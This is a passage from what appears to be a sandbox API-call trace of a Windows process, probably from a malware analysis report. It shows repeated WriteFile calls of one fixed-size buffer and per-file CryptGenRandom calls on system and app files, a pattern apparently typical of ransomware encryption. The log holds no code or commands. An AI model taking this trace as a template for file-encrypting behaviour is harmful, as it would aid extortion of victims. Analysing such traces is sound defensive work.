lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0203.150] CloseHandle (hObject=0x1eb0) returned 1 [0203.151] WriteFile (in: hFile=0x1eb0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0203.152] CloseHandle (hObject=0x1eb0) returned 1 [0203.152] WriteFile (in: hFile=0x1eb0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0203.153] CloseHandle (hObject=0x1eb0) returned 1 [0203.154] WriteFile (in: hFile=0x1eb0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0203.154] CloseHandle (hObject=0x1eb0) returned 1 [0203.155] WriteFile (in: hFile=0x1eb8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0203.156] CloseHandle (hObject=0x1eb8) returned 1 [0203.158] WriteFile (in: hFile=0x1eb8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0203.158] CloseHandle (hObject=0x1eb8) returned 1 [0203.174] WriteFile (in: hFile=0x1eb8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0203.175] CloseHandle (hObject=0x1eb8) returned 1 [0203.176] WriteFile (in: hFile=0x1ebc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0203.177] CloseHandle (hObject=0x1ebc) returned 1 [0203.178] WriteFile (in: hFile=0x1ec8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0203.179] CloseHandle (hObject=0x1ec8) returned 1 [0203.179] WriteFile (in: hFile=0x1ed4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0203.180] CloseHandle (hObject=0x1ed4) returned 1 [0203.181] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0203.181] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0203.181] SetFileAttributesW (lpFileName="\\Program Files\\Windows Media Player\\Media Renderer\\DMR_48.png", dwFileAttributes=0x80) returned 0 [0203.211] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0203.211] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0203.211] SetFileAttributesW (lpFileName="\\Program Files\\Windows Media Player\\Media Renderer\\DMR_48.jpg", dwFileAttributes=0x80) returned 0 [0203.219] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x33b53d0 | out: pbBuffer=0x33b53d0) returned 1 [0203.219] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0203.219] SetFileAttributesW (lpFileName="\\Program Files\\Windows Media Player\\Media Renderer\\DMR_120.png", dwFileAttributes=0x80) returned 0 [0203.219] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x33b57f0 | out: pbBuffer=0x33b57f0) returned 1 [0203.219] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3678 | out: pbBuffer=0x5c3678) returned 1 [0203.219] SetFileAttributesW (lpFileName="\\Program Files\\Windows Media Player\\Media Renderer\\DMR_120.jpg", dwFileAttributes=0x80) returned 0 [0203.219] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x33b4b90 | out: pbBuffer=0x33b4b90) returned 1 [0203.219] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c36f8 | out: pbBuffer=0x5c36f8) returned 1 [0203.219] SetFileAttributesW (lpFileName="\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color48.png", dwFileAttributes=0x80) returned 0 [0203.228] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x33b4248 | out: pbBuffer=0x33b4248) returned 1 [0203.228] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c36b8 | out: pbBuffer=0x5c36b8) returned 1 [0203.228] SetFileAttributesW (lpFileName="\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color48.jpg", dwFileAttributes=0x80) returned 0 [0203.229] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x33b5b08 | out: pbBuffer=0x33b5b08) returned 1 [0203.229] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c36d8 | out: pbBuffer=0x5c36d8) returned 1 [0203.229] SetFileAttributesW (lpFileName="\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color48.bmp", dwFileAttributes=0x80) returned 0 [0203.229] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x33b4878 | out: pbBuffer=0x33b4878) returned 1 [0203.229] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3718 | out: pbBuffer=0x5c3718) returned 1 [0203.230] SetFileAttributesW (lpFileName="\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color32.jpg", dwFileAttributes=0x80) returned 0 [0203.230] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x33b51c0 | out: pbBuffer=0x33b51c0) returned 1 [0203.230] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3688 | out: pbBuffer=0x5c3688) returned 1 [0203.230] SetFileAttributesW (lpFileName="\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color32.bmp", dwFileAttributes=0x80) returned 0 [0203.230] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x33b4038 | out: pbBuffer=0x33b4038) returned 1 [0203.230] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3698 | out: pbBuffer=0x5c3698) returned 1 [0203.230] SetFileAttributesW (lpFileName="\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color120.png", dwFileAttributes=0x80) returned 0 [0203.230] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x33b52c8 | out: pbBuffer=0x33b52c8) returned 1 [0203.230] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3638 | out: pbBuffer=0x5c3638) returned 1 [0203.230] SetFileAttributesW (lpFileName="\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color120.jpg", dwFileAttributes=0x80) returned 0 [0203.231] WriteFile (in: hFile=0x1f04, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0203.232] CloseHandle (hObject=0x1f04) returned 1 [0203.233] WriteFile (in: hFile=0x1f08, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0203.234] CloseHandle (hObject=0x1f08) returned 1 [0203.234] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x33b5e20 | out: pbBuffer=0x33b5e20) returned 1 [0203.234] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3778 | out: pbBuffer=0x5c3778) returned 1 [0203.234] SetFileAttributesW (lpFileName="\\Program Files\\Windows NT\\TableTextService\\TableTextServiceYi.txt", dwFileAttributes=0x80) returned 0 [0203.275] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x33b50b8 | out: pbBuffer=0x33b50b8) returned 1 [0203.275] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3658 | out: pbBuffer=0x5c3658) returned 1 [0203.275] SetFileAttributesW (lpFileName="\\Program Files\\Windows NT\\TableTextService\\TableTextServiceTigrinya.txt", dwFileAttributes=0x80) returned 0 [0203.284] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x33b4fb0 | out: pbBuffer=0x33b4fb0) returned 1 [0203.284] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3788 | out: pbBuffer=0x5c3788) returned 1 [0203.284] SetFileAttributesW (lpFileName="\\Program Files\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt", dwFileAttributes=0x80) returned 0 [0203.284] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x33b4980 | out: pbBuffer=0x33b4980) returned 1 [0203.284] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3708 | out: pbBuffer=0x5c3708) returned 1 [0203.284] SetFileAttributesW (lpFileName="\\Program Files\\Windows NT\\TableTextService\\TableTextServiceArray.txt", dwFileAttributes=0x80) returned 0 [0203.285] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x33b56e8 | out: pbBuffer=0x33b56e8) returned 1 [0203.285] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c36c8 | out: pbBuffer=0x5c36c8) returned 1 [0203.285] SetFileAttributesW (lpFileName="\\Program Files\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt", dwFileAttributes=0x80) returned 0 [0203.286] WriteFile (in: hFile=0x1f10, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0203.287] CloseHandle (hObject=0x1f10) returned 1 [0203.365] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x33b54d8 | out: pbBuffer=0x33b54d8) returned 1 [0203.365] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3768 | out: pbBuffer=0x5c3768) returned 1 [0203.365] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\05DBE9EA-EF75-43DB-8A03-27898B59D1E9", dwFileAttributes=0x80) returned 0 [0203.382] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x33b4350 | out: pbBuffer=0x33b4350) returned 1 [0203.382] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c35c8 | out: pbBuffer=0x5c35c8) returned 1 [0203.382] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\logo.png", dwFileAttributes=0x80) returned 0 [0203.396] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x33b58f8 | out: pbBuffer=0x33b58f8) returned 1 [0203.396] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3608 | out: pbBuffer=0x5c3608) returned 1 [0203.396] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\logo.png", dwFileAttributes=0x80) returned 0 [0203.419] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x33b55e0 | out: pbBuffer=0x33b55e0) returned 1 [0203.419] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c35d8 | out: pbBuffer=0x5c35d8) returned 1 [0203.419] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\default.html", dwFileAttributes=0x80) returned 0 [0203.561] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x33b4668 | out: pbBuffer=0x33b4668) returned 1 [0203.561] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c35e8 | out: pbBuffer=0x5c35e8) returned 1 [0203.561] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\256x256.png", dwFileAttributes=0x80) returned 0 [0203.787] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x33b4c98 | out: pbBuffer=0x33b4c98) returned 1 [0203.787] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c36e8 | out: pbBuffer=0x5c36e8) returned 1 [0203.788] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Registry.dat", dwFileAttributes=0x80) returned 0 [0203.908] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x2f70088 | out: pbBuffer=0x2f70088) returned 1 [0203.908] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3728 | out: pbBuffer=0x5c3728) returned 1 [0203.908] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\\ThirdPartyNotices_Arkadium.txt", dwFileAttributes=0x80) returned 0 [0203.989] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x2f6fc68 | out: pbBuffer=0x2f6fc68) returned 1 [0203.989] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3618 | out: pbBuffer=0x5c3618) returned 1 [0203.989] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\logo.png", dwFileAttributes=0x80) returned 0 [0204.001] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x2f6fd70 | out: pbBuffer=0x2f6fd70) returned 1 [0204.001] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3648 | out: pbBuffer=0x5c3648) returned 1 [0204.001] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x86__8wekyb3d8bbwe\\logo.png", dwFileAttributes=0x80) returned 0 [0204.004] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x2f6fe78 | out: pbBuffer=0x2f6fe78) returned 1 [0204.004] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3748 | out: pbBuffer=0x5c3748) returned 1 [0204.004] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x64__8wekyb3d8bbwe\\logo.png", dwFileAttributes=0x80) returned 0 [0204.005] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x2f6ff80 | out: pbBuffer=0x2f6ff80) returned 1 [0204.005] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c35f8 | out: pbBuffer=0x5c35f8) returned 1 [0204.005] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.1_1.0.23115.0_x86__8wekyb3d8bbwe\\logo.png", dwFileAttributes=0x80) returned 0 [0204.006] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x2f6ecf0 | out: pbBuffer=0x2f6ecf0) returned 1 [0204.006] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c36a8 | out: pbBuffer=0x5c36a8) returned 1 [0204.006] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x64__8wekyb3d8bbwe\\logo.png", dwFileAttributes=0x80) returned 0 [0204.021] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x2f6edf8 | out: pbBuffer=0x2f6edf8) returned 1 [0204.021] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3758 | out: pbBuffer=0x5c3758) returned 1 [0204.021] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.3_1.3.24201.0_x86__8wekyb3d8bbwe\\logo.png", dwFileAttributes=0x80) returned 0 [0204.023] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x2f703a0 | out: pbBuffer=0x2f703a0) returned 1 [0204.023] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3738 | out: pbBuffer=0x5c3738) returned 1 [0204.023] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x64__8wekyb3d8bbwe\\logo.png", dwFileAttributes=0x80) returned 0 [0204.028] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x2f6f950 | out: pbBuffer=0x2f6f950) returned 1 [0204.028] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3628 | out: pbBuffer=0x5c3628) returned 1 [0204.028] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.6_1.6.24903.0_x86__8wekyb3d8bbwe\\logo.png", dwFileAttributes=0x80) returned 0 [0204.028] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x2f706b8 | out: pbBuffer=0x2f706b8) returned 1 [0204.029] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3668 | out: pbBuffer=0x5c3668) returned 1 [0204.029] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\logo.png", dwFileAttributes=0x80) returned 0 [0204.030] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x2f6ef00 | out: pbBuffer=0x2f6ef00) returned 1 [0204.030] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d310 | out: pbBuffer=0x54d310) returned 1 [0204.030] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.0_1.0.22929.0_x86__8wekyb3d8bbwe\\logo.png", dwFileAttributes=0x80) returned 0 [0204.031] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x2f6f218 | out: pbBuffer=0x2f6f218) returned 1 [0204.031] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6bb0 | out: pbBuffer=0x30f6bb0) returned 1 [0204.031] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe\\logo.png", dwFileAttributes=0x80) returned 0 [0204.034] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x2f6f638 | out: pbBuffer=0x2f6f638) returned 1 [0204.034] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6b10 | out: pbBuffer=0x30f6b10) returned 1 [0204.034] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe\\logo.png", dwFileAttributes=0x80) returned 0 [0204.035] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x362a5e0 | out: pbBuffer=0x362a5e0) returned 1 [0204.035] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6c30 | out: pbBuffer=0x30f6c30) returned 1 [0204.035] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x64__8wekyb3d8bbwe\\logo.png", dwFileAttributes=0x80) returned 0 [0204.036] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x362ae20 | out: pbBuffer=0x362ae20) returned 1 [0204.036] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6bc0 | out: pbBuffer=0x30f6bc0) returned 1 [0204.036] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x86__8wekyb3d8bbwe\\logo.png", dwFileAttributes=0x80) returned 0 [0204.037] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x3629da0 | out: pbBuffer=0x3629da0) returned 1 [0204.037] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6b50 | out: pbBuffer=0x30f6b50) returned 1 [0204.037] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x64__8wekyb3d8bbwe\\logo.png", dwFileAttributes=0x80) returned 0 [0204.041] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x3629c98 | out: pbBuffer=0x3629c98) returned 1 [0204.041] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6c10 | out: pbBuffer=0x30f6c10) returned 1 [0204.041] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x86__8wekyb3d8bbwe\\logo.png", dwFileAttributes=0x80) returned 0 [0204.042] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x362a4d8 | out: pbBuffer=0x362a4d8) returned 1 [0204.042] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6c90 | out: pbBuffer=0x30f6c90) returned 1 [0204.042] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x64__8wekyb3d8bbwe\\logo.png", dwFileAttributes=0x80) returned 0 [0204.044] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x362ad18 | out: pbBuffer=0x362ad18) returned 1 [0204.044] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6b90 | out: pbBuffer=0x30f6b90) returned 1 [0204.044] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x86__8wekyb3d8bbwe\\logo.png", dwFileAttributes=0x80) returned 0 [0204.146] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x3629770 | out: pbBuffer=0x3629770) returned 1 [0204.146] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6af0 | out: pbBuffer=0x30f6af0) returned 1 [0204.146] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe\\logo.png", dwFileAttributes=0x80) returned 0 [0204.148] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x3629668 | out: pbBuffer=0x3629668) returned 1 [0204.148] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6b00 | out: pbBuffer=0x30f6b00) returned 1 [0204.148] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe\\logo.png", dwFileAttributes=0x80) returned 0 [0204.165] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x3629140 | out: pbBuffer=0x3629140) returned 1 [0204.165] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6bf0 | out: pbBuffer=0x30f6bf0) returned 1 [0204.165] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\logo.png", dwFileAttributes=0x80) returned 0 [0204.166] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x362ab08 | out: pbBuffer=0x362ab08) returned 1 [0204.166] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6ba0 | out: pbBuffer=0x30f6ba0) returned 1 [0204.166] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\logo.png", dwFileAttributes=0x80) returned 0 [0204.168] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x3629458 | out: pbBuffer=0x3629458) returned 1 [0204.168] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6bd0 | out: pbBuffer=0x30f6bd0) returned 1 [0204.168] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe\\logo.png", dwFileAttributes=0x80) returned 0 [0204.170] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x3629ea8 | out: pbBuffer=0x3629ea8) returned 1 [0204.170] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6be0 | out: pbBuffer=0x30f6be0) returned 1 [0204.170] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe\\logo.png", dwFileAttributes=0x80) returned 0 [0204.175] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x3629fb0 | out: pbBuffer=0x3629fb0) returned 1 [0204.175] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6c50 | out: pbBuffer=0x30f6c50) returned 1 [0204.175] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\\index.html", dwFileAttributes=0x80) returned 0 [0204.634] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x61c1d8 | out: pbBuffer=0x61c1d8) returned 1 [0204.634] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6b20 | out: pbBuffer=0x30f6b20) returned 1 [0204.634] SetFileAttributesW (lpFileName="\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\fb_blank_profile_portrait.png", dwFileAttributes=0x80) returned 0 [0204.734] WriteFile (in: hFile=0x212c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0204.735] CloseHandle (hObject=0x212c) returned 1 [0204.735] WriteFile (in: hFile=0x212c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0204.737] CloseHandle (hObject=0x212c) returned 1 [0204.737] WriteFile (in: hFile=0x2130, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0204.738] CloseHandle (hObject=0x2130) returned 1 [0204.738] WriteFile (in: hFile=0x2130, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0204.739] CloseHandle (hObject=0x2130) returned 1 [0204.740] WriteFile (in: hFile=0x2130, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, 